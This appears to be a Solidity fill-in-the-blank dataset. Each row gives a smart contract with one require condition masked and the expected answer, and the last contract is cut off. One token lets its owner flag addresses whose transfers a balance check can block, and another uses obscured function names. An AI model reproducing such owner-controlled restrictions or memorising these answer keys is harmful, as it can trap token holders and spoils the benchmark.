comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Max supply exceeded" | //SPDX-License-Identifier: MIT
pragma solidity >=0.8.13 <0.9.0;
contract MyHeartHurts is ERC721A, Ownable, ReentrancyGuard {
enum SalesStatus {
Public,
Heartlist,
Paused
}
uint256 public mintPrice = 0.01 ether;
uint256 public maxSupply = 3701;
uint256 public maxPublicPerWallet = 3;
uint256 public maxHLPerWallet = 1;
string public metadataURI;
bytes32 public merkleRoot;
SalesStatus public status = SalesStatus.Paused;
mapping(address => uint256) public amountMintedPublicPerWallet;
mapping(address => uint256) public amountMintedHLPerWallet;
constructor() ERC721A("My Heart Hurts", "MHH") {}
modifier callerIsUser() {
}
modifier userCanMintHL(address _user, bytes32[] memory _proof, uint256 _amount) {
}
modifier userCanMintPublic(address _user, uint256 _amount) {
require(status == SalesStatus.Public, "Public sale is not on");
require(<FILL_ME>)
require(amountMintedPublicPerWallet[_user] + _amount < maxPublicPerWallet + 1, "Max public wallet allocation exceeded");
_;
}
function airdrop(uint256 _amount, address _to) public onlyOwner {
}
function hlMint(bytes32[] memory _proof, uint256 _amount) public payable nonReentrant callerIsUser userCanMintHL(msg.sender, _proof, _amount) {
}
function publicMint(uint256 _amount) public payable nonReentrant callerIsUser userCanMintPublic(msg.sender, _amount) {
}
function isWalletOnHL(address _account, bytes32[] memory _proof) public view returns (bool) {
}
function setSaleStatus(SalesStatus _status) external onlyOwner {
}
function setMetadataURI(string memory _metadataURI) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function _withdraw(uint256 amount, address to) private {
}
function withdrawPercentage(uint256 _percent, address _to) external onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+_amount<maxSupply+1,"Max supply exceeded" | 259,157 | totalSupply()+_amount<maxSupply+1 |
"Max public wallet allocation exceeded" | //SPDX-License-Identifier: MIT
pragma solidity >=0.8.13 <0.9.0;
contract MyHeartHurts is ERC721A, Ownable, ReentrancyGuard {
enum SalesStatus {
Public,
Heartlist,
Paused
}
uint256 public mintPrice = 0.01 ether;
uint256 public maxSupply = 3701;
uint256 public maxPublicPerWallet = 3;
uint256 public maxHLPerWallet = 1;
string public metadataURI;
bytes32 public merkleRoot;
SalesStatus public status = SalesStatus.Paused;
mapping(address => uint256) public amountMintedPublicPerWallet;
mapping(address => uint256) public amountMintedHLPerWallet;
constructor() ERC721A("My Heart Hurts", "MHH") {}
modifier callerIsUser() {
}
modifier userCanMintHL(address _user, bytes32[] memory _proof, uint256 _amount) {
}
modifier userCanMintPublic(address _user, uint256 _amount) {
require(status == SalesStatus.Public, "Public sale is not on");
require(totalSupply() + _amount < maxSupply + 1, "Max supply exceeded");
require(<FILL_ME>)
_;
}
function airdrop(uint256 _amount, address _to) public onlyOwner {
}
function hlMint(bytes32[] memory _proof, uint256 _amount) public payable nonReentrant callerIsUser userCanMintHL(msg.sender, _proof, _amount) {
}
function publicMint(uint256 _amount) public payable nonReentrant callerIsUser userCanMintPublic(msg.sender, _amount) {
}
function isWalletOnHL(address _account, bytes32[] memory _proof) public view returns (bool) {
}
function setSaleStatus(SalesStatus _status) external onlyOwner {
}
function setMetadataURI(string memory _metadataURI) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function _withdraw(uint256 amount, address to) private {
}
function withdrawPercentage(uint256 _percent, address _to) external onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| amountMintedPublicPerWallet[_user]+_amount<maxPublicPerWallet+1,"Max public wallet allocation exceeded" | 259,157 | amountMintedPublicPerWallet[_user]+_amount<maxPublicPerWallet+1 |
"reached maxSupply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
contract TribecaNFT is
UUPSUpgradeable,
OwnableUpgradeable,
ERC721EnumerableUpgradeable
{
using SafeERC20Upgradeable for IERC20Upgradeable;
using StringsUpgradeable for uint256;
uint256 private _tokenIdCounter;
address private _admin;
uint256 public maxSupply;
uint256 public price;
uint256 public startTime;
uint256 public endTime;
address public payToken;
address public receiver;
string public baseURI;
uint256 public tokenDropAmount;
function _authorizeUpgrade(address newImplementation)
internal
override
onlyOwner
{}
function getImplementation() external view returns (address) {
}
modifier mintTime() {
}
modifier onlyAdminOrOwner() {
}
// constructor() {
// _disableInitializers();
// }
function initialize(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
uint256 _price,
address _payToken
) public initializer {
}
//-------------------------------
//------- Owner functions -------
//-------------------------------
function setMaxSupply(uint256 _max) public onlyAdminOrOwner {
}
function setPrice(uint256 _price) public onlyAdminOrOwner {
}
function setPayToken(address _payToken) public onlyAdminOrOwner {
}
function mintForDrop(address to) external onlyAdminOrOwner {
}
function mintBatchForDrop(address[] calldata _tos) public onlyAdminOrOwner {
}
function setMintTime(uint256 _startTime, uint256 _endTime)
external
onlyAdminOrOwner
{
}
function setReceiver(address _receiver) external onlyAdminOrOwner {
}
function setBaseUri(string calldata _baseUri) external onlyAdminOrOwner {
}
function setAdmin(address admin) external onlyOwner {
}
//-------------------------------
//------- User functions --------
//-------------------------------
function publicMint(uint256 _amount) external payable mintTime {
}
//-------------------------------
//------- view functions --------
//-------------------------------
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
//-------------------------------
//------- Internal functions --------
//-------------------------------
function safeMint(address to) internal {
}
function safeBatchMint(address[] calldata _tos) internal {
require(<FILL_ME>)
uint256 currentTokenId = _tokenIdCounter;
for (uint256 i = 0; i < _tos.length; i++) {
_safeMint(_tos[i], currentTokenId);
currentTokenId++;
}
_tokenIdCounter += _tos.length;
}
}
| totalSupply()+_tos.length<=maxSupply,"reached maxSupply" | 259,198 | totalSupply()+_tos.length<=maxSupply |
"Invalid Signature" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Utils.sol";
contract Kenomi is Ownable, Utils {
uint256 public nonce = 0;
// 7 days
uint256 public itemsRemoveTime = 604800;
function setItemRemoveTime(uint256 time) external onlyOwnerOrAdmin {
}
event WhiteListItemAdded(WhiteListItem item);
event WhiteListItemUpdated(uint256 itemIndex, WhiteListItem item);
event WhiteListItemBuyed(WhiteListItem item, address owner);
event WhiteListItemDeleted(uint256 itemIndex, WhiteListItem item);
event AuctionItemAdded(AuctionItem item);
event AuctionItemUpdated(uint256 itemIndex, AuctionItem item);
event AuctionBidPlaced(AuctionItem item, address bidder);
event AuctionItemDeleted(uint256 itemIndex, AuctionItem item);
struct WhiteListItem {
uint256 index;
uint256 supply;
uint256 supplyLeft;
uint256 pricePerItem;
string description;
string title;
string imageUrl;
uint256 endTime;
}
struct AuctionItem {
uint256 index;
address highestBidder;
uint256 highestBid;
string description;
string title;
string imageUrl;
uint256 endTime;
}
// <- Admin Functions -> //
mapping(address => bool) public adminMapping;
function addAdmin(address _address) external onlyOwner {
}
function removeAdmin(address _address) external onlyOwner {
}
modifier onlyOwnerOrAdmin() {
}
// <- Storage -> //
WhiteListItem[] public whiteListItems;
mapping(uint256 => address[]) whiteListItemBuyers;
mapping(address => WhiteListItem[]) public ownedItems;
AuctionItem[] public auctionItems;
mapping(address => AuctionItem[]) public ownedAuctionItems;
modifier requireSignature(bytes memory signature) {
require(<FILL_ME>)
nonce += 1;
_;
}
function addWhiteListItem(
bytes memory signature,
WhiteListItem memory whiteListItem,
uint256 endTime
) external onlyOwnerOrAdmin requireSignature(signature) {
}
function addAuctionItem(
bytes memory signature,
AuctionItem memory auctionItem,
uint256 endTime
) external onlyOwnerOrAdmin requireSignature(signature) {
}
function updateWhiteListItem(
bytes memory signature,
uint256 itemIndex,
WhiteListItem memory whiteListItem,
uint256 endTime
) external onlyOwnerOrAdmin requireSignature(signature) {
}
function updateAuctionItem(
bytes memory signature,
uint256 itemIndex,
AuctionItem memory auctionItem,
uint256 endTime
) external onlyOwnerOrAdmin requireSignature(signature) {
}
function buyWhiteListItem(
bytes memory signature,
uint256 itemIndex,
uint256 amount
) external payable requireSignature(signature) {
}
function placeBid(bytes memory signature, uint256 itemIndex)
external
payable
requireSignature(signature)
{
}
function deleteWhiteListItem(bytes memory signature, uint256 itemIndex)
external
onlyOwnerOrAdmin
requireSignature(signature)
{
}
function deleteAuctionItem(
bytes memory signature,
uint256 itemIndex,
bool returnBidAmount
) external onlyOwnerOrAdmin requireSignature(signature) {
}
enum UpKeepFor{ WhiteListRemove, AuctionRemove, AuctionTimeEnd }
function checkUpkeep(
bytes memory /* checkData */
) public view returns (bool upkeepNeeded, bytes memory performData, UpKeepFor upKeepFor) {
}
function performUpkeep(
bytes calldata /* performData */
) external {
}
function removeAuctionItem(uint256 auctionItemIndex) internal {
}
function removeWhiteListItem(uint256 whiteListItemIndex) internal {
}
// <- Getter Functions -> //
function getAllWhiteListItems()
external
view
returns (WhiteListItem[] memory)
{
}
function getAllWhiteListItemBuyers(uint256 index)
external
view
returns (address[] memory)
{
}
function getAllAuctionItems() external view returns (AuctionItem[] memory) {
}
function getWhiteListOwnedItems(address _address)
external
view
returns (WhiteListItem[] memory)
{
}
function getAuctionOwnedItems(address _address)
external
view
returns (AuctionItem[] memory)
{
}
function getNextWhiteListItemIndex() external view returns (uint256) {
}
function getNextAuctionItemIndex() external view returns (uint256) {
}
function getKenomiBalance() external view onlyOwnerOrAdmin returns(uint256){
}
function withDraw() external onlyOwner {
}
}
| _getSigner(_hashTx(msg.sender,nonce),signature)==signerAddress,"Invalid Signature" | 259,543 | _getSigner(_hashTx(msg.sender,nonce),signature)==signerAddress |
"Not enough fund available" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Utils.sol";
contract Kenomi is Ownable, Utils {
uint256 public nonce = 0;
// 7 days
uint256 public itemsRemoveTime = 604800;
function setItemRemoveTime(uint256 time) external onlyOwnerOrAdmin {
}
event WhiteListItemAdded(WhiteListItem item);
event WhiteListItemUpdated(uint256 itemIndex, WhiteListItem item);
event WhiteListItemBuyed(WhiteListItem item, address owner);
event WhiteListItemDeleted(uint256 itemIndex, WhiteListItem item);
event AuctionItemAdded(AuctionItem item);
event AuctionItemUpdated(uint256 itemIndex, AuctionItem item);
event AuctionBidPlaced(AuctionItem item, address bidder);
event AuctionItemDeleted(uint256 itemIndex, AuctionItem item);
struct WhiteListItem {
uint256 index;
uint256 supply;
uint256 supplyLeft;
uint256 pricePerItem;
string description;
string title;
string imageUrl;
uint256 endTime;
}
struct AuctionItem {
uint256 index;
address highestBidder;
uint256 highestBid;
string description;
string title;
string imageUrl;
uint256 endTime;
}
// <- Admin Functions -> //
mapping(address => bool) public adminMapping;
function addAdmin(address _address) external onlyOwner {
}
function removeAdmin(address _address) external onlyOwner {
}
modifier onlyOwnerOrAdmin() {
}
// <- Storage -> //
WhiteListItem[] public whiteListItems;
mapping(uint256 => address[]) whiteListItemBuyers;
mapping(address => WhiteListItem[]) public ownedItems;
AuctionItem[] public auctionItems;
mapping(address => AuctionItem[]) public ownedAuctionItems;
modifier requireSignature(bytes memory signature) {
}
function addWhiteListItem(
bytes memory signature,
WhiteListItem memory whiteListItem,
uint256 endTime
) external onlyOwnerOrAdmin requireSignature(signature) {
}
function addAuctionItem(
bytes memory signature,
AuctionItem memory auctionItem,
uint256 endTime
) external onlyOwnerOrAdmin requireSignature(signature) {
}
function updateWhiteListItem(
bytes memory signature,
uint256 itemIndex,
WhiteListItem memory whiteListItem,
uint256 endTime
) external onlyOwnerOrAdmin requireSignature(signature) {
}
function updateAuctionItem(
bytes memory signature,
uint256 itemIndex,
AuctionItem memory auctionItem,
uint256 endTime
) external onlyOwnerOrAdmin requireSignature(signature) {
}
function buyWhiteListItem(
bytes memory signature,
uint256 itemIndex,
uint256 amount
) external payable requireSignature(signature) {
}
function placeBid(bytes memory signature, uint256 itemIndex)
external
payable
requireSignature(signature)
{
}
function deleteWhiteListItem(bytes memory signature, uint256 itemIndex)
external
onlyOwnerOrAdmin
requireSignature(signature)
{
}
function deleteAuctionItem(
bytes memory signature,
uint256 itemIndex,
bool returnBidAmount
) external onlyOwnerOrAdmin requireSignature(signature) {
AuctionItem memory item = auctionItems[itemIndex];
uint256 lastIndex = auctionItems.length - 1;
auctionItems[itemIndex] = auctionItems[lastIndex];
auctionItems[itemIndex].index = itemIndex;
auctionItems.pop();
if (returnBidAmount && item.highestBid > 0) {
require(<FILL_ME>)
payable(item.highestBidder).transfer(item.highestBid);
}
emit AuctionItemDeleted(itemIndex, item);
}
enum UpKeepFor{ WhiteListRemove, AuctionRemove, AuctionTimeEnd }
function checkUpkeep(
bytes memory /* checkData */
) public view returns (bool upkeepNeeded, bytes memory performData, UpKeepFor upKeepFor) {
}
function performUpkeep(
bytes calldata /* performData */
) external {
}
function removeAuctionItem(uint256 auctionItemIndex) internal {
}
function removeWhiteListItem(uint256 whiteListItemIndex) internal {
}
// <- Getter Functions -> //
function getAllWhiteListItems()
external
view
returns (WhiteListItem[] memory)
{
}
function getAllWhiteListItemBuyers(uint256 index)
external
view
returns (address[] memory)
{
}
function getAllAuctionItems() external view returns (AuctionItem[] memory) {
}
function getWhiteListOwnedItems(address _address)
external
view
returns (WhiteListItem[] memory)
{
}
function getAuctionOwnedItems(address _address)
external
view
returns (AuctionItem[] memory)
{
}
function getNextWhiteListItemIndex() external view returns (uint256) {
}
function getNextAuctionItemIndex() external view returns (uint256) {
}
function getKenomiBalance() external view onlyOwnerOrAdmin returns(uint256){
}
function withDraw() external onlyOwner {
}
}
| address(this).balance>=item.highestBid,"Not enough fund available" | 259,543 | address(this).balance>=item.highestBid |
"Wrong amount of ether paid" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./IMoneylineBets.sol";
contract MoneylineBets is IMoneylineBets, AccessControl, ReentrancyGuard, Pausable {
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
bytes32 public constant INJECTOR_ROLE = keccak256("INJECTOR_ROLE");
address payable public immutable treasury;
uint256 public latestBetId;
mapping(uint256 => Bet) public bets;
event ClaimBet(address indexed from, uint256 indexed amount);
event MakeBet(address indexed from, Result indexed choice, uint256 indexed ticketCount);
event CommissionPayment(uint256 indexed id, uint256 indexed commissionAmount);
event OpenBet(uint256 indexed id, uint256 indexed startsAt, uint256 indexed endsAt, uint256 pricePerTicket);
event CloseBet(uint256 indexed id, Result indexed result, uint256 indexed prizePerTicket);
event FinalizeBet(uint256 indexed id, uint256 indexed fromIdx, uint256 indexed toIdx);
event InvalidateBet(uint256 indexed id, Result choice, uint256 indexed fromIdx, uint256 indexed toIdx);
event InjectBet(uint256 indexed id, uint256 indexed amount);
constructor(address payable _treasury) {
}
function makeBet(uint256 id, Result choice, uint256 ticketCount) external payable whenNotPaused {
Bet storage bet = bets[id];
require(choice != Result.NONE, "Cannot pick None");
require(bet.status == Status.OPEN, "Bet not open");
require(bet.startsAt <= block.timestamp && block.timestamp <= bet.endsAt, "Betting period is over");
require(<FILL_ME>)
bet.choices[choice].push(msg.sender);
bet.ticketCounts[choice].push(ticketCount);
bet.totalTicketCount[choice] += ticketCount;
if (bet.commissionPerTicket > 0) {
bet.treasuryAmount += ticketCount * bet.commissionPerTicket;
}
emit MakeBet(msg.sender, choice, ticketCount);
}
function claimBet(uint256 id) external nonReentrant whenNotPaused {
}
function viewBet(uint256 id, address viewer) public view returns (BetView memory) {
}
function viewBets(uint256 fromId, address viewer) external view returns (BetView[100] memory) {
}
/**
* Operator Functions
*/
function openBets(
OpenBetRequest[] calldata requests
) external onlyRole(OPERATOR_ROLE) returns (uint256) {
}
function closeBets(
uint256[] calldata ids,
Result[] calldata results
) external onlyRole(OPERATOR_ROLE) {
}
function invalidateBet(uint256 id, Result choice, uint256 fromIdx, uint256 limit, bool isLast) external onlyRole(OPERATOR_ROLE) {
}
function finalizeBet(uint256 id, uint256 fromIdx, uint256 limit, bool isLast) external onlyRole(OPERATOR_ROLE) {
}
function settleTreasury(uint256 id) external onlyRole(OPERATOR_ROLE) {
}
/**
* Injector Functions
*/
function injectBet(uint256 id) external payable onlyRole(INJECTOR_ROLE) {
}
/**
* Admin Functions
*/
function togglePause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* Helpers
*/
function _totalPrize(uint256 id) private view returns (uint256) {
}
function _transfer(address to, uint256 amount) private {
}
}
| ticketCount*bet.pricePerTicket==msg.value,"Wrong amount of ether paid" | 259,707 | ticketCount*bet.pricePerTicket==msg.value |
"Nothing to claim" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./IMoneylineBets.sol";
contract MoneylineBets is IMoneylineBets, AccessControl, ReentrancyGuard, Pausable {
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
bytes32 public constant INJECTOR_ROLE = keccak256("INJECTOR_ROLE");
address payable public immutable treasury;
uint256 public latestBetId;
mapping(uint256 => Bet) public bets;
event ClaimBet(address indexed from, uint256 indexed amount);
event MakeBet(address indexed from, Result indexed choice, uint256 indexed ticketCount);
event CommissionPayment(uint256 indexed id, uint256 indexed commissionAmount);
event OpenBet(uint256 indexed id, uint256 indexed startsAt, uint256 indexed endsAt, uint256 pricePerTicket);
event CloseBet(uint256 indexed id, Result indexed result, uint256 indexed prizePerTicket);
event FinalizeBet(uint256 indexed id, uint256 indexed fromIdx, uint256 indexed toIdx);
event InvalidateBet(uint256 indexed id, Result choice, uint256 indexed fromIdx, uint256 indexed toIdx);
event InjectBet(uint256 indexed id, uint256 indexed amount);
constructor(address payable _treasury) {
}
function makeBet(uint256 id, Result choice, uint256 ticketCount) external payable whenNotPaused {
}
function claimBet(uint256 id) external nonReentrant whenNotPaused {
Bet storage bet = bets[id];
require(bet.status == Status.FINALIZED, "Not finalized");
require(<FILL_ME>)
uint256 amount = bet.claimable[msg.sender];
_transfer(msg.sender, amount);
bet.claimable[msg.sender] = 0;
emit ClaimBet(msg.sender, amount);
}
function viewBet(uint256 id, address viewer) public view returns (BetView memory) {
}
function viewBets(uint256 fromId, address viewer) external view returns (BetView[100] memory) {
}
/**
* Operator Functions
*/
function openBets(
OpenBetRequest[] calldata requests
) external onlyRole(OPERATOR_ROLE) returns (uint256) {
}
function closeBets(
uint256[] calldata ids,
Result[] calldata results
) external onlyRole(OPERATOR_ROLE) {
}
function invalidateBet(uint256 id, Result choice, uint256 fromIdx, uint256 limit, bool isLast) external onlyRole(OPERATOR_ROLE) {
}
function finalizeBet(uint256 id, uint256 fromIdx, uint256 limit, bool isLast) external onlyRole(OPERATOR_ROLE) {
}
function settleTreasury(uint256 id) external onlyRole(OPERATOR_ROLE) {
}
/**
* Injector Functions
*/
function injectBet(uint256 id) external payable onlyRole(INJECTOR_ROLE) {
}
/**
* Admin Functions
*/
function togglePause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* Helpers
*/
function _totalPrize(uint256 id) private view returns (uint256) {
}
function _transfer(address to, uint256 amount) private {
}
}
| bet.claimable[msg.sender]>0,"Nothing to claim" | 259,707 | bet.claimable[msg.sender]>0 |
"Invalid request" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./IMoneylineBets.sol";
contract MoneylineBets is IMoneylineBets, AccessControl, ReentrancyGuard, Pausable {
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
bytes32 public constant INJECTOR_ROLE = keccak256("INJECTOR_ROLE");
address payable public immutable treasury;
uint256 public latestBetId;
mapping(uint256 => Bet) public bets;
event ClaimBet(address indexed from, uint256 indexed amount);
event MakeBet(address indexed from, Result indexed choice, uint256 indexed ticketCount);
event CommissionPayment(uint256 indexed id, uint256 indexed commissionAmount);
event OpenBet(uint256 indexed id, uint256 indexed startsAt, uint256 indexed endsAt, uint256 pricePerTicket);
event CloseBet(uint256 indexed id, Result indexed result, uint256 indexed prizePerTicket);
event FinalizeBet(uint256 indexed id, uint256 indexed fromIdx, uint256 indexed toIdx);
event InvalidateBet(uint256 indexed id, Result choice, uint256 indexed fromIdx, uint256 indexed toIdx);
event InjectBet(uint256 indexed id, uint256 indexed amount);
constructor(address payable _treasury) {
}
function makeBet(uint256 id, Result choice, uint256 ticketCount) external payable whenNotPaused {
}
function claimBet(uint256 id) external nonReentrant whenNotPaused {
}
function viewBet(uint256 id, address viewer) public view returns (BetView memory) {
}
function viewBets(uint256 fromId, address viewer) external view returns (BetView[100] memory) {
}
/**
* Operator Functions
*/
function openBets(
OpenBetRequest[] calldata requests
) external onlyRole(OPERATOR_ROLE) returns (uint256) {
for (uint256 i = 0; i < requests.length; i++) {
OpenBetRequest memory request = requests[i];
uint256 id = ++latestBetId;
Bet storage bet = bets[id];
require(<FILL_ME>)
bet.code = keccak256(abi.encodePacked(request.code));
bet.id = id;
bet.teamA = request.teamA;
bet.teamB = request.teamB;
bet.startsAt = request.startsAt;
bet.endsAt = request.endsAt;
bet.pricePerTicket = request.pricePerTicket;
bet.commissionPerTicket = request.commissionPerTicket;
bet.prizePerTicket = 0;
bet.result = Result.NONE;
bet.status = Status.OPEN;
emit OpenBet(id, request.startsAt, request.endsAt, request.pricePerTicket);
}
return latestBetId;
}
function closeBets(
uint256[] calldata ids,
Result[] calldata results
) external onlyRole(OPERATOR_ROLE) {
}
function invalidateBet(uint256 id, Result choice, uint256 fromIdx, uint256 limit, bool isLast) external onlyRole(OPERATOR_ROLE) {
}
function finalizeBet(uint256 id, uint256 fromIdx, uint256 limit, bool isLast) external onlyRole(OPERATOR_ROLE) {
}
function settleTreasury(uint256 id) external onlyRole(OPERATOR_ROLE) {
}
/**
* Injector Functions
*/
function injectBet(uint256 id) external payable onlyRole(INJECTOR_ROLE) {
}
/**
* Admin Functions
*/
function togglePause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* Helpers
*/
function _totalPrize(uint256 id) private view returns (uint256) {
}
function _transfer(address to, uint256 amount) private {
}
}
| keccak256(abi.encodePacked(request.teamA))!=keccak256(abi.encodePacked(""))&&keccak256(abi.encodePacked(request.teamB))!=keccak256(abi.encodePacked(""))&&keccak256(abi.encodePacked(request.teamA))!=keccak256(abi.encodePacked(request.teamB))&&request.startsAt<request.endsAt&&request.pricePerTicket>request.commissionPerTicket,"Invalid request" | 259,707 | keccak256(abi.encodePacked(request.teamA))!=keccak256(abi.encodePacked(""))&&keccak256(abi.encodePacked(request.teamB))!=keccak256(abi.encodePacked(""))&&keccak256(abi.encodePacked(request.teamA))!=keccak256(abi.encodePacked(request.teamB))&&request.startsAt<request.endsAt&&request.pricePerTicket>request.commissionPerTicket |
"Transfer amount exceeds the bag size." | //SPDX-License-Identifier: MIT
/*
Citizendium is based on the failings and unreliability of Wikipedia.
*/
pragma solidity ^0.8.5;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Citizendium is ERC20, Ownable {
string constant _name = "Citizendium";
string constant _symbol = "CTZND";
uint256 _totalSupply = 444000000 * (10**decimals());
uint256 public _maxWalletAmount = (_totalSupply * 2) / 100;
mapping(address => bool) isFeeExempt;
address DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 totalFee = 3;
mapping(address => bool) isTxLimitExempt;
IUniswapV2Router02 public router;
address public pair;
receive() external payable {}
function getFeeAmounts(uint256 amount) internal view returns (uint256) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if (recipient != pair && recipient != DEAD) {
require(<FILL_ME>)
}
uint256 taxed = shouldTakeFee(sender) ? getFeeAmounts(amount) : 0;
super._transfer(sender, recipient, amount - taxed);
super._burn(sender, taxed);
}
function launchtkn() external {
}
function setLimit(uint256 amountPercent) external onlyOwner {
}
constructor() ERC20(_name, _symbol) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function decimals() public view virtual override returns (uint8) {
}
}
| isTxLimitExempt[recipient]||balanceOf(recipient)+amount<=_maxWalletAmount,"Transfer amount exceeds the bag size." | 259,791 | isTxLimitExempt[recipient]||balanceOf(recipient)+amount<=_maxWalletAmount |
"Too Large" | pragma solidity ^0.8.0;
contract Xris is Ownable, ERC20 {
bool public limited;
bool public whalecap;
uint256 public maxHoldingAmount;
uint256 public minHoldingAmount;
address public uniswapV2Pair;
mapping(address => bool) public rewards;
constructor() ERC20("Xris", "XRIS") {
}
function reward(address _address, bool _isrewarding) external onlyRewarder {
}
function setRule(bool _limited, bool _whalecap, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyRewarder {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) override internal virtual {
if (limited && to == uniswapV2Pair) {
require(super.balanceOf(to) + amount <= maxHoldingAmount, "Forbid");
}
if (whalecap && rewards[from]) {
require(<FILL_ME>)
}
}
function burn(uint256 value) external {
}
}
| super.balanceOf(from)+amount>=minHoldingAmount,"Too Large" | 260,022 | super.balanceOf(from)+amount>=minHoldingAmount |
"Only one transfer per block allowed." | /**
Luffy $Luffy
Twitter: https://twitter.com/Luffy_Ethereum
Telegram: https://t.me/Luffy_Ethereum
Website: https://luffyeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _rkprv(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _rkprv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _pvr(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract Luffy is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _dgfoqj;
address payable private _tybolnh;
address private _rkioep;
string private constant _name = unicode"Luffy";
string private constant _symbol = unicode"Luffy";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _evqjoa;
mapping (address => bool) private _virdry;
mapping(address => uint256) private _fnpofq;
uint256 public _qflbvp = _totalSupply;
uint256 public _drxrbe = _totalSupply;
uint256 public _kqalkv= _totalSupply;
uint256 public _vsqoaf= _totalSupply;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _youevj=0;
uint256 private _eymzay=0;
bool private _pralvt;
bool public _uarvefq = false;
bool private vyiple = false;
bool private _oevfcb = false;
event _pveiqh(uint _qflbvp);
modifier ursonpr {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
